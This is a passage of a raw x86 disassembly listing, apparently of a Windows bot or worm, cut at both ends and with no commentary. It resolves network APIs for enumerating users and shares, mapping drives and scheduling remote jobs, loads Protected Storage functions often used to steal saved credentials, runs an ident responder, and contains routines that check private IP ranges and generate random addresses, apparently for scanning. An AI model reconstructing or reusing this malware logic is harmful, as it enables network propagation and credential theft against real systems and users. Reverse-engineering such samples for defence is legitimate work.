cmp [ebp+arg_4], 0
jz short loc_403790
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
push eax
call ds:dword_417238 ; ntohs
mov [ebp+var_E], ax
loc_403790: ; CODE XREF: sub_403588+1F2j
and [ebp+var_18], 0
jmp short loc_40379D
; ---------------------------------------------------------------------------
loc_403796: ; CODE XREF: sub_403588:loc_4038A7j
mov eax, [ebp+var_18]
inc eax
mov [ebp+var_18], eax
loc_40379D: ; CODE XREF: sub_403588+20Cj
mov eax, [ebp+var_18]
cmp eax, [ebp+var_20]
jnb loc_4038AC
cmp [ebp+arg_8], 0
jz short loc_4037B9
mov eax, [ebp+arg_8]
mov eax, [eax]
mov [ebp+var_40], eax
jmp short loc_4037C0
; ---------------------------------------------------------------------------
loc_4037B9: ; CODE XREF: sub_403588+225j
mov [ebp+var_40], 4
loc_4037C0: ; CODE XREF: sub_403588+22Fj
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_40]
mov [ecx+eax], edx
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
mov dword ptr [ecx+eax+4], 2
cmp [ebp+arg_8], 0
jz short loc_4037F1
mov eax, [ebp+arg_8]
mov eax, [eax+8]
mov [ebp+var_44], eax
jmp short loc_4037F8
; ---------------------------------------------------------------------------
loc_4037F1: ; CODE XREF: sub_403588+25Cj
mov [ebp+var_44], 1
loc_4037F8: ; CODE XREF: sub_403588+267j
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_44]
mov [ecx+eax+8], edx
cmp [ebp+arg_8], 0
jz short loc_403819
mov eax, [ebp+arg_8]
mov eax, [eax+0Ch]
mov [ebp+var_48], eax
jmp short loc_403820
; ---------------------------------------------------------------------------
loc_403819: ; CODE XREF: sub_403588+284j
mov [ebp+var_48], 6
loc_403820: ; CODE XREF: sub_403588+28Fj
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_48]
mov [ecx+eax+0Ch], edx
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
mov dword ptr [ecx+eax+10h], 10h
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
lea eax, [ecx+eax+20h]
mov ecx, [ebp+var_18]
imul ecx, 30h
mov edx, [ebp+var_1C]
mov [edx+ecx+18h], eax
mov eax, [ebp+var_14]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_18]
mov eax, [eax+ecx*4]
mov eax, [eax]
mov [ebp+var_C], eax
push 10h
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
lea eax, [ecx+eax+20h]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
cmp [ebp+var_18], 0
jz short loc_4038A7
mov eax, [ebp+var_18]
imul eax, 30h
mov ecx, [ebp+var_1C]
add ecx, eax
mov eax, [ebp+var_18]
dec eax
imul eax, 30h
mov edx, [ebp+var_1C]
mov [edx+eax+1Ch], ecx
loc_4038A7: ; CODE XREF: sub_403588+304j
jmp loc_403796
; ---------------------------------------------------------------------------
loc_4038AC: ; CODE XREF: sub_403588+21Bj
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_1C]
mov [eax], ecx
xor eax, eax
locret_4038B6: ; CODE XREF: sub_403588+2Ej
; sub_403588+55j ...
leave
retn 10h
sub_403588 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4038BA proc near ; DATA XREF: sub_403BD3+1BCo
var_434 = dword ptr -434h
var_430 = byte ptr -430h
var_410 = dword ptr -410h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 434h
cmp [ebp+arg_8], 0
jnz short loc_4038CF
cmp [ebp+arg_10], 0
jz short loc_4038D8
loc_4038CF: ; CODE XREF: sub_4038BA+Dj
mov eax, [ebp+arg_18]
and al, 0E0h
test eax, eax
jz short loc_4038ED
loc_4038D8: ; CODE XREF: sub_4038BA+13j
push 2726h
call ds:dword_417234 ; WSASetLastError
mov eax, 2726h
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_4038ED: ; CODE XREF: sub_4038BA+1Cj
mov eax, [ebp+arg_0]
mov [ebp+var_40C], eax
mov eax, [ebp+var_40C]
movsx eax, word ptr [eax]
cmp eax, 2
jz short loc_403919
push 273Fh
call ds:dword_417234 ; WSASetLastError
mov eax, 273Fh
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403919: ; CODE XREF: sub_4038BA+48j
cmp [ebp+arg_8], 0
jz loc_403ABA
mov eax, [ebp+var_40C]
push dword ptr [eax+4]
call ds:dword_41721C ; inet_ntoa
mov [ebp+var_434], eax
cmp [ebp+var_434], 0
jnz short loc_403949
or eax, 0FFFFFFFFh
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403949: ; CODE XREF: sub_4038BA+85j
push 401h
push [ebp+var_434]
lea eax, [ebp+var_404]
push eax
call sub_407A56
add esp, 0Ch
mov eax, [ebp+arg_18]
and eax, 2
test eax, eax
jz short loc_403972
jmp loc_403BB4
; ---------------------------------------------------------------------------
loc_403972: ; CODE XREF: sub_4038BA+B1j
mov eax, [ebp+arg_18]
and eax, 4
test eax, eax
jz short loc_4039F4
push 0
push 4
mov eax, [ebp+var_40C]
add eax, 4
push eax
call ds:dword_417220 ; gethostbyaddr
mov [ebp+var_410], eax
cmp [ebp+var_410], 0
jnz short loc_4039AA
call ds:dword_417224 ; WSAGetLastError
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_4039AA: ; CODE XREF: sub_4038BA+E3j
mov eax, [ebp+var_410]
push dword ptr [eax]
call sub_416B40 ; strlen
pop ecx
inc eax
cmp eax, [ebp+arg_C]
jbe short loc_4039D3
push 2747h
call ds:dword_417234 ; WSASetLastError
mov eax, 2747h
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_4039D3: ; CODE XREF: sub_4038BA+102j
push 401h
mov eax, [ebp+var_410]
push dword ptr [eax]
lea eax, [ebp+var_404]
push eax
call sub_407A56
add esp, 0Ch
jmp loc_403ABA
; ---------------------------------------------------------------------------
loc_4039F4: ; CODE XREF: sub_4038BA+C0j
mov eax, [ebp+arg_18]
and eax, 1
test eax, eax
jz loc_403A92
mov eax, [ebp+var_40C]
cmp dword ptr [eax+4], 7F000001h
jz short loc_403A1D
mov eax, [ebp+var_40C]
cmp dword ptr [eax+4], 0
jnz short loc_403A92
loc_403A1D: ; CODE XREF: sub_4038BA+155j
push 0
push 4
mov eax, [ebp+var_40C]
add eax, 4
push eax
call ds:dword_417220 ; gethostbyaddr
mov [ebp+var_410], eax
cmp [ebp+var_410], 0
jnz short loc_403A4B
call ds:dword_417224 ; WSAGetLastError
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403A4B: ; CODE XREF: sub_4038BA+184j
mov eax, [ebp+var_410]
push dword ptr [eax]
call sub_416B40 ; strlen
pop ecx
inc eax
cmp eax, [ebp+arg_C]
jbe short loc_403A74
push 2747h
call ds:dword_417234 ; WSASetLastError
mov eax, 2747h
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403A74: ; CODE XREF: sub_4038BA+1A3j
push 401h
mov eax, [ebp+var_410]
push dword ptr [eax]
lea eax, [ebp+var_404]
push eax
call sub_407A56
add esp, 0Ch
jmp short loc_403ABA
; ---------------------------------------------------------------------------
loc_403A92: ; CODE XREF: sub_4038BA+142j
; sub_4038BA+161j ...
lea eax, [ebp+var_404]
push eax
call sub_416B40 ; strlen
pop ecx
inc eax
cmp eax, [ebp+arg_C]
jbe short loc_403ABA
push 2747h
call ds:dword_417234 ; WSASetLastError
mov eax, 2747h
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403ABA: ; CODE XREF: sub_4038BA+63j
; sub_4038BA+135j ...
cmp [ebp+arg_10], 0
jz loc_403B99
push 8
pop eax
test eax, eax
jz short loc_403B2C
push 0Ah
lea eax, [ebp+var_430]
push eax
mov eax, [ebp+var_40C]
mov ax, [eax+2]
push eax
call ds:dword_417238 ; ntohs
movzx eax, ax
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
lea eax, [ebp+var_430]
push eax
call sub_416B40 ; strlen
pop ecx
inc eax
cmp eax, [ebp+arg_14]
jbe short loc_403B19
push 2747h
call ds:dword_417234 ; WSASetLastError
mov eax, 2747h
jmp locret_403BB9
; ---------------------------------------------------------------------------
loc_403B19: ; CODE XREF: sub_4038BA+248j
lea eax, [ebp+var_430]
push eax
push [ebp+arg_10]
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_403B99
; ---------------------------------------------------------------------------
loc_403B2C: ; CODE XREF: sub_4038BA+20Fj
mov eax, [ebp+arg_18]
and eax, 10h
neg eax
sbb eax, eax
and eax, offset aUdp ; "udp"
push eax
mov eax, [ebp+var_40C]
movzx eax, word ptr [eax+2]
push eax
call ds:dword_417228 ; getservbyport
mov [ebp+var_408], eax
cmp [ebp+var_408], 0
jnz short loc_403B61
or eax, 0FFFFFFFFh
jmp short locret_403BB9
; ---------------------------------------------------------------------------
loc_403B61: ; CODE XREF: sub_4038BA+2A0j
mov eax, [ebp+var_408]
push dword ptr [eax]
call sub_416B40 ; strlen
pop ecx
inc eax
cmp eax, [ebp+arg_14]
jbe short loc_403B87
push 2747h
call ds:dword_417234 ; WSASetLastError
mov eax, 2747h
jmp short locret_403BB9
; ---------------------------------------------------------------------------
loc_403B87: ; CODE XREF: sub_4038BA+2B9j
mov eax, [ebp+var_408]
push dword ptr [eax]
push [ebp+arg_10]
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_403B99: ; CODE XREF: sub_4038BA+204j
; sub_4038BA+270j
cmp [ebp+arg_8], 0
jz short loc_403BB0
lea eax, [ebp+var_404]
push eax
push [ebp+arg_8]
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_403BB0: ; CODE XREF: sub_4038BA+2E3j
xor eax, eax
jmp short locret_403BB9
; ---------------------------------------------------------------------------
loc_403BB4: ; CODE XREF: sub_4038BA+B3j
jmp loc_403A92
; ---------------------------------------------------------------------------
locret_403BB9: ; CODE XREF: sub_4038BA+2Ej
; sub_4038BA+5Aj ...
leave
retn 1Ch
sub_4038BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_403BCF
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
loc_403BCF: ; CODE XREF: sub_403BBD+7j
pop ebp
retn 4
sub_403BBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403BD3 proc near ; CODE XREF: .text:loc_4168BCp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push offset aKernel32_dll ; "kernel32.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_403C00
push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
push [ebp+var_C]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE40, eax
loc_403C00: ; CODE XREF: sub_403BD3+18j
push offset aNetapi32_dll ; "netapi32.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz loc_403CC3
push offset aNetusegetinfo ; "NetUseGetInfo"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE48, eax
push offset aNetuseadd ; "NetUseAdd"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE4C, eax
push offset aNetusedel ; "NetUseDel"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE50, eax
push offset aNetuserenum ; "NetUserEnum"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE54, eax
push offset aNetshareenum ; "NetShareEnum"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE58, eax
push offset aNetremotetod ; "NetRemoteTOD"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE5C, eax
push offset aNetapibufferfr ; "NetApiBufferFree"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE60, eax
push offset aNetschedulejob ; "NetScheduleJobAdd"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE64, eax
push offset aNetaddalternat ; "NetAddAlternateComputerName"
push [ebp+var_14]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE68, eax
loc_403CC3: ; CODE XREF: sub_403BD3+3Fj
push offset aMpr_dll ; "mpr.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_403D23
push offset aWnetaddconnect ; "WNetAddConnection2A"
push [ebp+var_8]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE6C, eax
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push [ebp+var_8]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE70, eax
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push [ebp+var_8]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE74, eax
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push [ebp+var_8]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE78, eax
loc_403D23: ; CODE XREF: sub_403BD3+102j
push offset aWs2_32_dll ; "ws2_32.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_4], eax
push offset aGetaddrinfo ; "getaddrinfo"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE84, eax
push offset aGetnameinfo ; "getnameinfo"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE88, eax
push offset aFreeaddrinfo ; "freeaddrinfo"
push [ebp+var_4]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE8C, eax
cmp dword_41DE84, 0
jz short loc_403D85
cmp dword_41DE88, 0
jz short loc_403D85
cmp dword_41DE8C, 0
jnz short loc_403DA3
loc_403D85: ; CODE XREF: sub_403BD3+19Ej
; sub_403BD3+1A7j
mov dword_41DE84, offset sub_403588
mov dword_41DE88, offset sub_4038BA
mov dword_41DE8C, offset sub_403BBD
loc_403DA3: ; CODE XREF: sub_403BD3+1B0j
push offset aPstorec_dll ; "pstorec.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_403DCA
push offset aPstorecreatein ; "PStoreCreateInstance"
push [ebp+var_10]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE80, eax
loc_403DCA: ; CODE XREF: sub_403BD3+1E2j
push offset aWininet_dll ; "wininet.dll"
call ds:dword_417054 ; LoadLibraryA
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short locret_403DF1
push offset aInternetgetcon ; "InternetGetConnectedStateExA"
push [ebp+var_18]
call ds:dword_417058 ; GetProcAddress
mov dword_41DE7C, eax
locret_403DF1: ; CODE XREF: sub_403BD3+209j
leave
retn
sub_403BD3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o
var_1228 = dword ptr -1228h
var_1224 = byte ptr -1224h
var_1200 = byte ptr -1200h
var_11DC = byte ptr -11DCh
var_11B8 = dword ptr -11B8h
var_11B4 = dword ptr -11B4h
var_11B0 = dword ptr -11B0h
var_11AC = byte ptr -11ACh
var_11A6 = byte ptr -11A6h
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1228h
call sub_416BC0
push 1ADh
push [ebp+arg_0]
lea eax, [ebp+var_11B0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 1
lea eax, [ebp+var_11AC]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_11B4], eax
cmp [ebp+var_11B4], 0
jnz short loc_403E52
push [ebp+var_11B0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_403FE1
; ---------------------------------------------------------------------------
loc_403E52: ; CODE XREF: sub_403DF3+4Aj
lea eax, [ebp+var_11AC]
push eax
mov eax, [ebp+var_11B0]
push dword ptr [eax]
push offset dword_4189C4
lea eax, [ebp+var_11A6]
push eax
call sub_40D53F
add esp, 10h
loc_403E75: ; CODE XREF: sub_403DF3+BDj
; sub_403DF3+10Fj ...
push 3E8h
push [ebp+var_11B4]
call sub_4048EF
pop ecx
pop ecx
mov [ebp+var_11B8], eax
mov eax, [ebp+var_11B0]
cmp dword ptr [eax+4], 0
jnz short loc_403EA2
cmp [ebp+var_11B8], 0
jnz short loc_403EA7
loc_403EA2: ; CODE XREF: sub_403DF3+A4j
jmp loc_403FC7
; ---------------------------------------------------------------------------
loc_403EA7: ; CODE XREF: sub_403DF3+ADj
cmp [ebp+var_11B8], 0FFFFFFFFh
jnz short loc_403EB2
jmp short loc_403E75
; ---------------------------------------------------------------------------
loc_403EB2: ; CODE XREF: sub_403DF3+BBj
push 1000h
lea eax, [ebp+var_1000]
push eax
push [ebp+var_11B8]
call sub_4053DC
add esp, 0Ch
mov [ebp+var_1228], eax
cmp [ebp+var_1228], 0
jz short loc_403EF6
cmp [ebp+var_1228], 0FFFFFFFFh
jz short loc_403EF6
lea eax, [ebp+var_1000]
push eax
call sub_416B40 ; strlen
pop ecx
cmp eax, 10h
jbe short loc_403F07
loc_403EF6: ; CODE XREF: sub_403DF3+E6j
; sub_403DF3+EFj
push [ebp+var_11B8]
call sub_40538D
pop ecx
jmp loc_403E75
; ---------------------------------------------------------------------------
loc_403F07: ; CODE XREF: sub_403DF3+101j
movsx eax, byte_41EEC8
test eax, eax
jz short loc_403F27
push offset byte_41EEC8
lea eax, [ebp+var_1224]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_403F57
; ---------------------------------------------------------------------------
loc_403F27: ; CODE XREF: sub_403DF3+11Dj
lea eax, [ebp+var_1200]
push eax
lea eax, [ebp+var_1224]
push eax
lea eax, [ebp+var_11DC]
push eax
call sub_40668F
add esp, 0Ch
lea eax, [ebp+var_1224]
push eax
push offset byte_41EEC8
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_403F57: ; CODE XREF: sub_403DF3+132j
push offset aUseridUnix ; " : USERID : UNIX : "
lea eax, [ebp+var_1000]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
lea eax, [ebp+var_1224]
push eax
lea eax, [ebp+var_1000]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
push offset asc_418214 ; "\r\n"
lea eax, [ebp+var_1000]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
lea eax, [ebp+var_1000]
push eax
call sub_416B40 ; strlen
pop ecx
inc eax
push eax
lea eax, [ebp+var_1000]
push eax
push [ebp+var_11B8]
call sub_4053BF
add esp, 0Ch
push [ebp+var_11B8]
call sub_40538D
pop ecx
jmp loc_403E75
; ---------------------------------------------------------------------------
loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j
push [ebp+var_11B4]
call sub_404CBB
pop ecx
push [ebp+var_11B0]
call sub_409763
pop ecx
xor eax, eax
locret_403FE1: ; CODE XREF: sub_403DF3+5Aj
leave
retn 4
sub_403DF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
jz short loc_403FFD
push [ebp+arg_4]
call sub_40422A
pop ecx
test eax, eax
jnz short loc_404004
loc_403FFD: ; CODE XREF: sub_403FE5+9j
mov [ebp+arg_4], offset dword_418A18
loc_404004: ; CODE XREF: sub_403FE5+16j
push 1ADh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40401A
jmp short locret_40407B
; ---------------------------------------------------------------------------
loc_40401A: ; CODE XREF: sub_403FE5+31j
push 6
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 0Ah
push eax
call sub_405F67
pop ecx
pop ecx
cmp [ebp+arg_0], 0
jz short loc_404059
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
test eax, eax
jz short loc_404059
and [ebp+var_8], 0
jmp short loc_404060
; ---------------------------------------------------------------------------
loc_404059: ; CODE XREF: sub_403FE5+5Ej
; sub_403FE5+6Cj
mov [ebp+var_8], 1
loc_404060: ; CODE XREF: sub_403FE5+72j
push [ebp+arg_4]
push offset dword_4189F8
push [ebp+var_8]
push [ebp+var_4]
push offset sub_403DF3
call sub_4095A4
add esp, 14h
locret_40407B: ; CODE XREF: sub_403FE5+33j
leave
retn
sub_403FE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40407D proc near ; CODE XREF: sub_4055E5+772p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
loc_404085: ; CODE XREF: sub_40407D+2Cj
cmp [ebp+arg_4], 1
jbe short loc_4040AB
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
inc eax
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+arg_4]
dec eax
dec eax
mov [ebp+arg_4], eax
jmp short loc_404085
; ---------------------------------------------------------------------------
loc_4040AB: ; CODE XREF: sub_40407D+Cj
cmp [ebp+arg_4], 0
jz short loc_4040BF
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
loc_4040BF: ; CODE XREF: sub_40407D+32j
mov eax, [ebp+var_4]
shr eax, 10h
mov ecx, [ebp+var_4]
and ecx, 0FFFFh
add eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shr eax, 10h
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
not eax
leave
retn
sub_40407D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p
; sub_40A9CF+1A2Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+var_4], 2
jz short loc_404146
cmp [ebp+var_4], 3
jz short loc_404124
cmp [ebp+var_4], 4
jz short loc_404106
jmp short loc_40416A
; ---------------------------------------------------------------------------
loc_404106: ; CODE XREF: sub_4040E8+1Aj
mov eax, [ebp+arg_0]
and al, 0
mov [ebp+arg_0], eax
push 0FEh
push 1
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
or ecx, eax
mov [ebp+arg_0], ecx
loc_404124: ; CODE XREF: sub_4040E8+14j
mov eax, [ebp+arg_0]
and ah, 0
mov [ebp+arg_0], eax
push 0FEh
push 1
call sub_4103F5
pop ecx
pop ecx
shl eax, 8
mov ecx, [ebp+arg_0]
or ecx, eax
mov [ebp+arg_0], ecx
loc_404146: ; CODE XREF: sub_4040E8+Ej
mov eax, [ebp+arg_0]
and eax, 0FF00FFFFh
mov [ebp+arg_0], eax
push 0FEh
push 1
call sub_4103F5
pop ecx
pop ecx
shl eax, 10h
mov ecx, [ebp+arg_0]
or ecx, eax
mov [ebp+arg_0], ecx
loc_40416A: ; CODE XREF: sub_4040E8+1Cj
mov eax, [ebp+arg_0]
and eax, 0FFFFFFh
mov [ebp+arg_0], eax
push 0FEh
push 1
call sub_4103F5
pop ecx
pop ecx
shl eax, 18h
mov ecx, [ebp+arg_0]
or ecx, eax
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
leave
retn
sub_4040E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404193 proc near ; CODE XREF: sub_404279+Ap
; sub_40435B+17p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0Ah
push [ebp+arg_0]
push 0FFFFh
push 401h
call sub_4103F5
pop ecx
pop ecx
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
pop ebp
retn
sub_404193 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push offset a127_ ; "127."
push [ebp+arg_0]
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_4041D5
push 1
pop eax
jmp short loc_404228
; ---------------------------------------------------------------------------
loc_4041D5: ; CODE XREF: sub_4041B7+17j
push 4
push offset a172_ ; "172."
push [ebp+arg_0]
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_4041F0
push 1
pop eax
jmp short loc_404228
; ---------------------------------------------------------------------------
loc_4041F0: ; CODE XREF: sub_4041B7+32j
push 8
push offset a192_168_ ; "192.168."
push [ebp+arg_0]
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_40420B
push 1
pop eax
jmp short loc_404228
; ---------------------------------------------------------------------------
loc_40420B: ; CODE XREF: sub_4041B7+4Dj
push 3
push offset a10_ ; "10."
push [ebp+arg_0]
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_404226
push 1
pop eax
jmp short loc_404228
; ---------------------------------------------------------------------------
loc_404226: ; CODE XREF: sub_4041B7+68j
xor eax, eax
loc_404228: ; CODE XREF: sub_4041B7+1Cj
; sub_4041B7+37j ...
pop ebp
retn
sub_4041B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40422A proc near ; CODE XREF: sub_402A32+206p
; sub_403FE5+Ep ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
jmp short loc_40423C
; ---------------------------------------------------------------------------
loc_404235: ; CODE XREF: sub_40422A:loc_404273j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40423C: ; CODE XREF: sub_40422A+9j
cmp [ebp+var_4], 6
jnz short loc_404244
jmp short loc_404275
; ---------------------------------------------------------------------------
loc_404244: ; CODE XREF: sub_40422A+16j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_404273
push [ebp+arg_0]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_40426C
cmp [ebp+var_8], 0FFFFh
jbe short loc_40426E
loc_40426C: ; CODE XREF: sub_40422A+37j
jmp short loc_404275
; ---------------------------------------------------------------------------
loc_40426E: ; CODE XREF: sub_40422A+40j
push 1
pop eax
jmp short locret_404277
; ---------------------------------------------------------------------------
loc_404273: ; CODE XREF: sub_40422A+25j
jmp short loc_404235
; ---------------------------------------------------------------------------
loc_404275: ; CODE XREF: sub_40422A+18j
; sub_40422A:loc_40426Cj
xor eax, eax
locret_404277: ; CODE XREF: sub_40422A+47j
leave
retn
sub_40422A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404279 proc near ; CODE XREF: sub_4042FB+Cp
; sub_408B30+197p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_8]
push eax
call sub_404193
pop ecx
push 1
lea eax, [ebp+var_8]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_4042A4
push 1
pop eax
jmp short locret_4042F9
; ---------------------------------------------------------------------------
loc_4042A4: ; CODE XREF: sub_404279+24j
push 0BB8h
push 0
lea eax, [ebp+var_8]
push eax
push offset dword_41EF48
call sub_4050EA
add esp, 10h
mov [ebp+var_C], eax
push [ebp+var_10]
call sub_404CBB
pop ecx
cmp [ebp+var_C], 0
jz short loc_4042DA
cmp [ebp+var_C], 0FFFFFFFFh
jz short loc_4042DA
and [ebp+var_18], 0
jmp short loc_4042E1
; ---------------------------------------------------------------------------
loc_4042DA: ; CODE XREF: sub_404279+53j
; sub_404279+59j
mov [ebp+var_18], 1
loc_4042E1: ; CODE XREF: sub_404279+5Fj
mov eax, [ebp+var_18]
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_4042F6
push [ebp+var_C]
call sub_4053B1
pop ecx
loc_4042F6: ; CODE XREF: sub_404279+72j
mov eax, [ebp+var_14]
locret_4042F9: ; CODE XREF: sub_404279+29j
leave
retn
sub_404279 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4042FB proc near ; CODE XREF: sub_411D68+4p
; sub_41349C+1FAp ...
push ebp
mov ebp, esp
